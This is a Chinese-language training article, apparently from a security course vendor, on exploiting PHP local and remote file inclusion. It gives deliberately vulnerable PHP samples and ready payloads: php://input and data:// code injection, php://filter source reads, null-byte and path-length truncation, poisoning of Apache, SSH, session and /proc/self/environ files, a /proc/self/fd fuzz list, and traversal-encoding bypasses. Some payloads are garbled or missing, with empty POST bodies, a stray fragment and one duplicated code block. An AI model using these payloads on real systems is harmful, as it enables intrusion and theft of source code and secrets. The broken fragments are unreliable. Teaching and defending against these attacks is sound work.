1.文件包含漏洞概念
通過PHP函數(shù)引入文件時,傳入的文件名沒有經過合理的驗證,從而操作了預想之外的文件,就可能導致意外的文件泄漏甚至惡意代碼注入
2.文件包含漏洞的環(huán)境要求
allow_url_fopen=On(默認為On) 規(guī)定是否允許從遠程服務器或者網(wǎng)站檢索數(shù)據(jù) allow_url_include=On(php5.2之后默認為Off) 規(guī)定是否允許include/require遠程文件
3.常見文件包含函數(shù)
include()和require()區(qū)別
include在引入不存文件時產生一個警告且腳本還會繼續(xù)執(zhí)行,require則會導致一個致命性錯誤且腳本停止執(zhí)行
新建include.php文件
<?php
$a='phpinfo1.php';#包含不存在的文件
include $a;
#require $a;
echo "123";
?>
運行結果:require包含不會顯示123
require_once和include_once該文件中已經被包含過,則不會再次包含
4.PHP偽協(xié)議在文件包含漏洞中的利用
4.1. php://input
php://input可以訪問請求的原始數(shù)據(jù)的只讀流,將post請求的數(shù)據(jù)當作php代碼執(zhí)行
如果存在文件包含漏洞,可將php://input作為文件名傳入,同時在post中注入設置想要注入的代碼,php執(zhí)行時就會將post的內容作為php代碼執(zhí)行
4.1.1. 使用條件
allow_url_fopen:off/on
allow_url_include:on
4.1.2. 實例
<meta charset="utf8">
<?php
error_reporting(0);
$file=$_GET["file"];
if(stristr($file,"php://filter")||stristr($file,"zip://")||stristr($file,"phar://")||stristr($file,"data:")){
exit('hacker!');
}
if($file){
if($file!="http://www.baidu.com")echo"tips:flag在當前目錄的某個文件中";
include($file);
}else{
echo'click go baidu';
}
?>
error_reporting(0);
$file=$_GET["file"];
if(stristr($file,"php://filter")||stristr($file,"zip://")||stristr($file,"phar://")||stristr($file,"data:")){
exit('hacker!');
}
if($file){
if($file!="http://www.baidu.com")echo"tips:flag在當前目錄的某個文件中";
include($file);
}else{
echo'click go baidu';
}
?>
執(zhí)行任意代碼poc:
?file=php://input
post數(shù)據(jù):
寫入木馬poc:
?file=php://input
post數(shù)據(jù):
');?>
讀取目錄結構poc:
?file=php://inputpost數(shù)據(jù):
post數(shù)據(jù):
4.2. data://
4.2.1. poc
data://[][;charset=][;base64],
?file=data://,
?file=data://text//plain,
?file=data://text/plain;base64,xxxxxxxxx
?file=data:text/plain,
?file=data:text/plain;base64,xxxxxxxxxx
4.2.2.file://,zip://,compress.zlib://和bzip2://
4.3 使用條件
allow_url_fopen:off/on
allow_url_include:off/on
file://用于訪問本地文件系統(tǒng),在CTF中通常用來讀取本地文件的且不受allow_url_fopen與allow_url_include的影響(相同類型的還有zip://,zlib://和bzip2://)
file://必須是絕對路徑
4.3.2. poc
以zip://為例
要用#分隔壓縮包和壓縮包里的內容,并且#要用url編碼%23
%23code.txt
先將要執(zhí)行的PHP代碼寫好文件名為code.txt,將phpcode.txt進行zip壓縮,壓縮文件名為file.zip,如果可以上傳zip文件便直接上傳,若不能便將file.zip重命名為file.jpg后在上傳,其他幾種壓縮格式也可以這樣操作。
4.4. phar://
4.4.1. poc
phar://...(當前腳本的絕對路徑).../1.zip/1.php
4.5. php://filter
php://filter可以獲取指定文件源碼。當它與包含函數(shù)結合時,php://filter流會被當作php文件行。所以我們一般對其進行編碼,讓其不執(zhí)行。從而導致任意文件讀取。
poc:
?file=php://filter/resource=xxx.php
或
?file=php://filter/read=convert.base64-encode/resource=xxx.php
或
?file=php://filter/convert.base64-encode/resource=xxx.php #可繞過過濾了操作名read的waf
或
?file=php://filter/read=convert.base64-encode/resource=xxx.php #可用重寫resource繞過正則為"/resource=*.jpg/i"的waf
4.6. 總結
php://input和data://可以注入任意代碼;file://,zip://,zlib://,bzip2://,phar,php://filter可用于讀取文件,可以結合文件上傳漏洞進行利用。
5.文件包含漏洞的截斷
5.1. %00截斷
5.1.1. 要求
php版本小于5.3.4
magic_quotes_gpc為off狀態(tài)
magic_quotes_gpc為on狀態(tài)時%00前會被自動加上一個反斜杠轉義
5.1.2. 實例
index.php
if(empty($_GET["file"])){
echo('../flag.php');
return;
}
else{
$filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';//限制了只能訪問.html后綴名的文件,如果想訪問.php后綴名的文件就需要截斷后面的.html
include $filename;
}
?>
poc
index.php?file=../../flag.php%00
5.2. 路徑長度截斷
5.2.1. 要求
php版本小于5.2.8
5.2.2. 操作系統(tǒng)文件長度限制
windows 259個bytes
linux 4096個bytes
5.2.3. 實例
index.php
if(empty($_GET["file"])){
echo('../flag.php');
return;
}
else{
$filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';//限制了只能訪問.html后綴名的文件,如果想訪問.php后綴名的文件就需要階段后面的.html
include $filename;
}
?>
5.2.4. poc
windows:
poc1:file=../../flag.php..............................................................................................................................................................................................................................................
poc2:file=../../flag.php./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
5.3.總結
一般來說如果php版本在5.3.4以下,先嘗試使用%00截斷,如果不行再使用路徑長度截斷
6.包含Apache日志文件
WEB服務器一般會將用戶的訪問記錄保存在訪問日志中。那么我們可以根據(jù)日志記錄的內容,精心構造請求,把PHP代碼插入到日志文件中,通過文件包含漏洞來執(zhí)行日志中的PHP代碼。
6.1. 使用條件
對日志文件可讀
知道日志文件存儲目錄
curl命令行url請求工具(避免url轉碼的存在)
6.2. 獲取日志存放路徑
日志默認路徑
(1) apache+Linux日志默認路徑
/etc/httpd/logs/access_log
/var/log/httpd/access_log
(2) apache+win2003日志默認路徑
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003默認日志文件
C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默認日志文件
%SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
日志文件在用戶安裝目錄logs目錄下
以我的安裝路徑為例/usr/local/nginx,
那我的日志目錄就是在/usr/local/nginx/logs里
6.3. 利用方式
使用瀏覽器訪問特殊字符會被編碼,可以使用curl避免特殊字符被編碼,但是需要注意的是[ ]在curl是特殊符號,需要進行轉義 ,不然curl使用時會報錯
curl -v "http://xxxxx/file.php?page="?page="
7.包含SSH log 日志
7.1. 利用條件
需要知道ssh-log的位置,且可讀。默認情況下為 /var/log/auth.log
7.2. 利用方式
首先使用ssh連接
ssh ''@remotehost
然后隨意輸入密碼
最后結合文件包含漏洞即可利用
8.包含SESSION
8.1. 利用條件
找到Session內的可控變量
Session文件可讀寫,并且知道存儲路徑
php的session文件的保存路徑可以在phpinfo的session.save_path看到
8.2. session常見存儲路徑
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式:sess_[phpsessid] ,而 phpsessid 在發(fā)送的請求的 cookie 字段中可以看到
9.包含environ
利用條件:
php以cgi方式運行,這樣environ才會保持UA頭。
environ文件存儲位置已知,且environ文件可讀。
姿勢:
/proc/self/environ中會保存user-agent頭。如果在user-agent中插入php代碼,則php代碼會被寫入到中。之后再包含它即可。
10.包含/proc/self/fd/[environreferer]
apache的錯誤日志可能包含在/proc/self/fd/[envrionreferer],例如/proc/self/fd/2,/proc/self/fd/3,/proc/self/fd/10,可以使用burpsuite的測試器模塊fuzz出該文件結構
fuzz字典:
/proc/self/cmdline
/proc/self/stat
/proc/self/status
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/3
/proc/self/fd/4
/proc/self/fd/5
/proc/self/fd/6
/proc/self/fd/7
/proc/self/fd/8
/proc/self/fd/9
/proc/self/fd/10
/proc/self/fd/11
/proc/self/fd/12
/proc/self/fd/13
/proc/self/fd/14
/proc/self/fd/15
/proc/self/fd/16
/proc/self/fd/17
/proc/self/fd/18
/proc/self/fd/19
/proc/self/fd/20
/proc/self/fd/21
/proc/self/fd/22
/proc/self/fd/23
/proc/self/fd/24
/proc/self/fd/25
/proc/self/fd/26
/proc/self/fd/27
/proc/self/fd/28
/proc/self/fd/29
/proc/self/fd/30
/proc/self/fd/31
/proc/self/fd/32
/proc/self/fd/33
/proc/self/fd/34
/proc/self/fd/35
11.包含臨時文件
php中上傳文件,會創(chuàng)建臨時文件。在linux下使用/tmp目錄,而在windows下使用c:\winsdows\temp目錄。在臨時文件被刪除之前,利用競爭即可包含該臨時文件。
由于包含需要知道包含的文件名。一種方法是進行暴力猜解,linux下使用的隨機函數(shù)有缺陷,而window下只有65535中不同的文件名,所以這個方法是可行的。
另一種方法是配合phpinfo頁面的php variables,可以直接獲取到上傳文件的存儲路徑和臨時文件名,直接包含即可。這個方法可以參考LFI With PHPInfo Assistance
12.其他包含姿勢
包含stmp日志
包含xss
包含上傳文件
13.文件包含漏洞的繞過方法
13.1. 特定前綴繞過
13.1.1. 目錄遍歷
使用 …/…/ 來返回上一目錄,被稱為目錄遍歷(Path Traversal)。例如 ?file=…/…/phpinfo/phpinfo.php
13.1.2. 編碼繞過
服務器端常常會對于…/等做一些過濾,可以用一些編碼來進行繞過。
服務器端常常會對于…/等做一些過濾,可以用一些編碼來進行繞過。
1.利用url編碼
/%2e%2e%2f
...
%2f%2e%2e/
\%2e%2e%5c
...
%5c%2e%2e\
2.二次編碼
/%252e%252e%252f
/%252e%252e%255c
13.2. 指定后綴繞過
13.2.1. query(?)
[訪問參數(shù)] ?file=http://localhost:8081/phpinfo.php?
[拼接后] ?file=http://localhost:8081/phpinfo.php?.txt
?將后面的.txt截斷,web服務器會認為.txt是一個新的參數(shù)
13.2.2. fragment(#)
[訪問參數(shù)] ?file=http://localhost:8081/phpinfo.php%23
[拼接后] ?file=http://localhost:8081/phpinfo.php#.txt
13.2.3. zip://
[訪問參數(shù)] ?file=zip://D:\zip.jpg%23phpinfo
[拼接后] ?file=zip://D:\zip.jpg#phpinfo.txt
13.2.4. phar://
[訪問參數(shù)] ?file=phar://zip.zip/phpinfo
[拼接后] ?file=phar://zip.zip/phpinfo.txt
更多關于“網(wǎng)絡安全培訓”的問題,歡迎咨詢千鋒教育在線名師。千鋒教育多年辦學,課程大綱緊跟企業(yè)需求,更科學更嚴謹,每年培養(yǎng)泛IT人才近2萬人。不論你是零基礎還是想提升,都可以找到適合的班型,千鋒教育隨時歡迎你來試聽。